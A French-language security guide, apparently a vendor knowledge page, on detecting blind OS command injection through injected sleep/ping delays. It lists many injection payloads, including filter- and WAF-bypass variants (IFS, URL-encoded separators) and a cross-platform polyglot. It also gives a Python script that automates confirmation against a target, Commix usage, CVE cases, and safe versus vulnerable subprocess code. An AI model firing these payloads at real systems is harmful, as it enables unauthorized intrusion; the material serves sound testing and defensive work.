Injecte des commandes sleep ou ping pour provoquer des délais mesurables, confirmant l'exécution de commandes sans sortie visible dans la réponse.
TL;DR
sleep 7 puis sleep 14 — confirmer uniquement quand les deux s'échelonnent proportionnellementsleep N, Windows utilise ping -n N 127.0.0.1, PowerShell utilise Start-SleepL'injection de commandes à l'aveugle basée sur le temps est la technique de confirmation de l'exécution de commandes OS en mesurant la latence de réponse induite par une commande sleep ou ping injectée. L'application exécute la commande — le sleep injecté se déclenche, faisant pause du processus côté serveur — mais ne retourne aucune sortie dans la réponse HTTP. Le seul signal de l'attaquant est le temps écoulé entre l'envoi de la requête et la réception de la réponse.
Il s'agit d'une spécialisation de l'injection de commandes à l'aveugle. Les deux partagent la même cause profonde (CWE-78 — entrée non sanitisée atteint une fonction d'exécution shell), mais l'injection à l'aveugle basée sur le temps utilise le délai de réponse comme canal de confirmation plutôt que des écritures de fichiers ou des callbacks DNS OOB. C'est la méthode de confirmation la plus indépendante de l'infrastructure : elle ne nécessite aucun serveur externe, aucun chemin web inscriptible, et aucune résolution DNS — juste la capacité de mesurer le temps de réponse HTTP.
La limitation de la technique est sa susceptibilité aux faux positifs dûs à la charge serveur, à la gigue réseau, et au comportement de buffering des réponses CDN. Le protocole de validation proportionnelle décrit dans cette page élimine ces faux positifs via une mesure différentielle plutôt qu'une comparaison à seuil absolu.
Le serveur reçoit une chaîne de commande contenant un sleep injecté. Le shell exécute à la fois la commande légitime et le sleep injecté séquentiellement. La réponse HTTP n'est envoyée qu'après la fin du processus shell — ce qui prend désormais N secondes supplémentaires. L'attaquant mesure cette latence induite.
Le processus en cinq étapes :
# Sleep basique — le plus fiable sur bash/sh/dash/zsh
; sleep 7
& sleep 7 &
| sleep 7
$(sleep 7)
`sleep 7`
%0a sleep 7
# Contournement d'espaces basé sur IFS (contourne les filtres bloquant les espaces dans le payload)
;${IFS}sleep${IFS}7
;$IFS sleep$IFS 7
# Alternative ping — fonctionne quand le binaire sleep est bloqué
; ping -c 7 127.0.0.1
# Séparateur saut de ligne encodé en URL (contourne les filtres ; | &)
%0a%09sleep%097 # séparé par tabulation (0x09 = tab)
# Validation proportionnelle — envoyer en séquence
; sleep 7 # mesure T1
; sleep 14 # mesure T2 : si T2 ≈ 2×T1, injection confirméeREM ping -n envoie N paquets ICMP, ~1 seconde chacun
& ping -n 7 127.0.0.1 &
REM timeout — attend N secondes (nécessite un contexte console)
| timeout /T 7 /NOBREAK
REM choice — sélection automatique après N secondes
& choice /C YN /T 7 /D Y &
REM Validation proportionnelle sur Windows
& ping -n 7 127.0.0.1 & REM T1: ~7s
& ping -n 14 127.0.0.1 & REM T2: ~14s; Start-Sleep -Seconds 7
; Start-Sleep 7
; [System.Threading.Thread]::Sleep(7000)
; ping -n 7 127.0.0.1# Fonctionne sur Unix (sleep) et Windows (ping), quel que soit le shell actif
&(ping -n 11 127.0.0.1||ping -c 11 127.0.0.1)&
# Polyglotte basé sur le temps pour plusieurs contextes d'injection (sans guillemets, guillemets simples, guillemets doubles)
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}La validation proportionnelle est le différenciateur critique entre la détection basée sur le temps fiable et peu fiable. Un seul delta temporel est ambigu. Deux deltas qui s'échelonnent proportionnellement avec le N injecté ne le sont pas.
import statistics, time, requests
def baseline(url, param, safe_value, n=3):
"""Établir la latence de baseline médiane sur n requêtes propres."""
times = []
for _ in range(n):
t0 = time.monotonic()
requests.get(url, params={param: safe_value}, timeout=60)
times.append(time.monotonic() - t0)
return statistics.median(times)
def time_based_confirm(url, param, base_payload, T_baseline):
"""Validation proportionnelle : N=7 puis N=14."""
# Sleep 7
t0 = time.monotonic()
requests.get(url, params={param: f"{base_payload}; sleep 7"}, timeout=30)
D1 = time.monotonic() - t0 - T_baseline
# Sleep 14
t0 = time.monotonic()
requests.get(url, params={param: f"{base_payload}; sleep 14"}, timeout=40)
D2 = time.monotonic() - t0 - T_baseline
# Vérification proportionnelle — les deux deltas doivent s'échelonner
condition_A = D1 >= 5.5 # sleep 7 avec marge de 1,5s
condition_B = D2 >= 12.5 # sleep 14 avec marge de 1,5s
condition_C = (D2 - D1) >= 5.5 # 7s supplémentaires entre les mesures
if condition_A and condition_B and condition_C:
return "CONFIRMED", D1, D2
elif condition_A:
return "POTENTIAL", D1, D2
else:
return "NOT_DETECTED", D1, D2Table d'interprétation :
| D1 (sleep 7) | D2 (sleep 14) | Verdict |
|---|---|---|
| ≥ 5,5s | ≥ 12,5s ET D2-D1 ≥ 5,5s | CONFIRMÉ |
| ≥ 5,5s | < 12,5s | POTENTIEL (gigue serveur suspectée) |
| < 5,5s | Quelconque | NON DÉTECTÉ |
| Exactement 30s | — | TIMEOUT CDN (pas une injection) |
| Source | Signature | Atténuation |
|---|---|---|
| Serveur à haute latence (baseline > 5s) | D1 et D2 tous deux élevés | Utiliser la vérification proportionnelle D2-D1, pas D1 absolu |
| Timeout CDN (plafond 30s ou 60s) | Réponse à exactement 30s | Détecter via valeur exacte ; passer à OOB |
| Pic de charge serveur | D1 élevé mais D2 ≠ 2×D1 | Validation proportionnelle (D2-D1 ≥ 5,5s) |
| Limitation de débit (429) | Code de statut HTTP 429 avec délai | Vérifier le code de statut avant d'interpréter le timing |
| Gigue réseau | Pic unique, sans cohérence | Utiliser baseline à 3 sondes, exiger D2 proportionnel |
| Buffering de réponse | CDN bufferise la réponse jusqu'à la fin du sleep | Passer à DNS OOB (contourne le CDN) |
CVE-2024-21887 — Ivanti Connect Secure (CVSS 9.1)
L'injection de commandes dans l'endpoint /api/v1/license/key-status/<node_name> d'Ivanti Connect Secure a été confirmée via des techniques basées sur le temps lors de la découverte initiale avant que l'infrastructure OOB soit établie. L'injection a été enchaînée avec CVE-2023-46805 (contournement d'authentification) pour obtenir un RCE pré-auth. Des acteurs étatiques ont utilisé la confirmation basée sur le temps pour vérifier l'exécution sur des milliers de cibles de passerelles VPN avant de déployer des implants malware persistants.
CVE-2024-3400 — PAN-OS GlobalProtect (CVSS 10.0)
La vérification initiale du PoC de CVE-2024-3400 a utilisé des tests à l'aveugle basés sur le temps pour confirmer que la manipulation du cookie SESSID déclenchait une exécution côté serveur. Un payload sleep injecté dans l'identifiant de session provoquait des délais mesurables dans la réponse du portail GlobalProtect, confirmant le chemin d'exécution avant que les payloads OOB et reverse shell soient développés. Volexity et Unit 42 ont attribué l'exploitation à UTA0218.
CVE-2022-46169 — Cacti (CVSS 9.8)
L'endpoint de polling de Cacti a été testé avec des payloads basés sur le temps via l'en-tête X-Forwarded-For. Injecter 127.0.0.1; sleep 7 dans l'en-tête X-Forwarded-For produisait un délai de 7 secondes dans les réponses de /remote_agent.php, confirmant le vecteur d'injection avant la publication des chaînes d'exploitation. Des exploits publics ont été publiés en 48 heures de la divulgation, conduisant à de larges infections de botnet.
Établir une baseline : envoyer la requête 3 fois avec une valeur connue sûre et enregistrer le temps de réponse médian T0.
Injecter le payload sleep avec le séparateur le moins bruyant en premier :
; sleep 7
%0a sleep 7
$(sleep 7)Si D1 = (temps de réponse) - T0 ≥ 5,5 secondes, procéder à la validation proportionnelle :
; sleep 14Confirmer uniquement quand D2 - T0 ≥ 12,5s ET D2 - D1 ≥ 5,5s.
Si la réponse arrive exactement à 30s, 60s, ou un autre nombre rond correspondant à un timeout CDN, ignorer le résultat et passer à OOB.
Tester toutes les familles de shell :
# Unix
; sleep 7
# Windows
& ping -n 7 127.0.0.1 &
# PowerShell
; Start-Sleep -Seconds 7Tester avec des variantes de contournement quand le payload basique échoue :
;${IFS}sleep${IFS}7
; ping -c 7 127.0.0.1
%0a%09sleep%097Commix en mode basé sur le temps :
commix --url "http://target.com/ping?host=*" --batch --smart \
--technique=T --level=3 --failed-tries=3Burp Suite Pro effectue automatiquement la détection basée sur le temps avec plusieurs variantes de payload et une analyse statistique des temps de réponse.
BreachVex confirme l'injection basée sur le temps en utilisant une validation proportionnelle sur plusieurs magnitudes de sleep par rapport à une baseline de latence médiane, avec un repli automatique vers la détection hors-bande quand des signatures de timeout CDN sont détectées (réponses exactement à 30s, 60s, ou 120s).
L'injection basée sur le temps exploite la même cause profonde que toutes les variantes d'injection de commandes OS. La prévention n'est pas spécifique au timing — c'est l'élimination de l'invocation de shell.
# VULNÉRABLE — shell=True permet l'injection sleep
import subprocess
def check_host(host):
result = subprocess.run(
f"ping -c 1 {host}",
shell=True,
capture_output=True,
timeout=5 # le timeout NE PRÉVIENT PAS l'injection — limite juste votre attente
)
return result.returncode == 0
# SÛR — forme tableau, aucun shell invoqué
import re
def check_host_safe(host):
if not re.fullmatch(r'^\d{1,3}(\.\d{1,3}){3}$', host):
raise ValueError("IP invalide")
result = subprocess.run(
["ping", "-c", "1", host],
capture_output=True,
timeout=5
)
return result.returncode == 0Définir un timeout=5 sur un appel subprocess NE PRÉVIENT PAS l'injection basée sur le temps d'être confirmée par l'attaquant. Le timeout limite combien de temps votre application attend que la commande se termine, mais le sleep injecté a déjà causé le délai mesurable avant que le timeout l'annule. L'injection existe quelle que soit votre valeur de timeout subprocess.
// Node.js — VULNÉRABLE, shell:true permet les attaques de timing
const { spawn } = require('child_process');
spawn('ping', ['-c', '1', host], { shell: true });
// SÛR — shell:false (par défaut), les args ne sont pas interprétés
spawn('ping', ['-c', '1', host], { shell: false });
spawn('ping', ['-c', '1', host]); // shell:false est la valeur par défautSleep 7 fournit un delta suffisant au-dessus de la latence réseau typique (1-3s) tout en gardant la durée du test raisonnable. L'essentiel est la validation proportionnelle, pas la valeur spécifique. Injecter sleep 7 en premier (attendre ~7s), puis sleep 14 (attendre ~14s). Si les deux s'échelonnent proportionnellement avec le N injecté, l'injection est confirmée. Un pic unique à 10 secondes est ambigu — il pourrait s'agir d'une charge serveur ou d'un timeout CDN.
La validation proportionnelle utilise deux mesures pour distinguer une vraie injection des faux positifs. Injecter sleep N=7 : si le delta D1 ≥ 5,5s, l'injection est plausible. Injecter sleep N=14 : si D2 ≥ 12,5s ET D2 - D1 ≥ 5,5s, l'injection est confirmée. Un ralentissement serveur ou un timeout CDN qui a causé D1 à 7s ne causera pas proportionnellement D2 à 14s — les pics aléatoires ne doublent pas de manière prévisible.
Envoyer la même requête 3 fois avec une valeur de paramètre sûre et bénigne. Enregistrer le temps de réponse pour chacune. Utiliser la médiane — pas la moyenne — comme baseline T0. La médiane est plus robuste aux pics réseau individuels. Soustraire T0 de tous les deltas de mesure suivants pour isoler le délai induit par l'injection de la latence ambiante.
Sur Windows cmd.exe : ping -n 7 127.0.0.1 (envoie 7 paquets ICMP, chacun ~1 seconde d'intervalle), timeout /T 7 /NOBREAK (attend 7 secondes), ou choice /C YN /T 7 /D Y (timeout de prompt). PowerShell utilise Start-Sleep -Seconds 7. La méthode ping est la plus fiable car elle fonctionne sur toutes les versions Windows et ne nécessite pas de mode interactif.
Faux positifs courants : (1) Charge serveur élevée qui ralentit toutes les réponses, pas seulement les injectées — la baseline gère ça. (2) Timeouts CDN qui plafonnent les réponses à 30s — si la réponse arrive exactement à 30s, c'est un timeout CDN, pas une injection. (3) Limitation de débit retournant 429 après un délai — vérifier le code de statut. (4) Gigue réseau — un pic unique sans cohérence. Le protocole proportionnel N=7/N=14 supprime les quatre.
Les CDN qui bufferisent les réponses aplatissent les deltas temporels, rendant l'injection basée sur le temps peu fiable. Un CDN avec un timeout de 30 secondes terminera la connexion avant qu'un payload sleep 60 retourne, et un sleep de 7 secondes peut être absorbé dans la variation du temps de connexion. Quand un CDN est détecté (en-têtes Cloudflare, Akamai, Fastly), passer aux callbacks DNS OOB — les requêtes DNS contournent entièrement l'infrastructure CDN.
Shells Unix (bash, sh, dash, zsh) : sleep N et ping -c N 127.0.0.1 fonctionnent tous les deux. Windows cmd.exe : ping -n N 127.0.0.1, timeout /T N /NOBREAK. PowerShell : Start-Sleep -Seconds N ou ping -n N 127.0.0.1. Le polyglotte &(ping -n 11 127.0.0.1||ping -c 11 127.0.0.1)& fonctionne multi-plateformes — la logique OU assure que seul le ping du shell correct s'exécute.
Attendre N+10 secondes pour confirmation (sleep 7 = attendre 17s au total avant de conclure négatif). Tenir compte du temps d'aller-retour réseau et du traitement serveur. Si la réponse revient exactement à 30s ou 60s, suspecter un timeout CDN ou proxy, pas une injection. Si la réponse revient à T_baseline + epsilon, l'injection n'a pas déclenché un sleep. Répéter avec un séparateur différent ou passer à OOB.
;${IFS}sleep${IFS}7 remplace les espaces par la variable IFS (séparateur de champ interne), qui se développe en espace blanc. Cela contourne les règles WAF qui bloquent les espaces littéraux dans les payloads d'injection tout en préservant la capacité du shell à analyser la commande. Fonctionne en bash, sh, zsh, dash. L'équivalent sans IFS : ;sleep${IFS}7 ou en utilisant la tabulation encodée en URL %09.
La technique basée sur le temps de Commix (--technique=T) effectue automatiquement une validation de timing proportionnel. Elle envoie plusieurs sondes à différentes valeurs N et utilise une analyse statistique pour distinguer l'injection de la variation de latence serveur. Le flag --smart ignore les paramètres où les sondes initiales ne montrent pas de différence de timing, réduisant les faux positifs. Ajouter --level=3 pour les tests d'injection via en-têtes.
Passer à OOB quand : la latence de base est supérieure à 3 secondes (trop proche du delta sleep), l'application est derrière un CDN (réponses bufferisées), le serveur est sous charge variable (timing incohérent), ou après deux tentatives de validation proportionnelle avec des résultats ambigus. OOB est toujours plus fiable que la méthode basée sur le temps. Si l'infrastructure OOB n'est pas disponible, escalader vers la confirmation manuelle par écriture de fichier.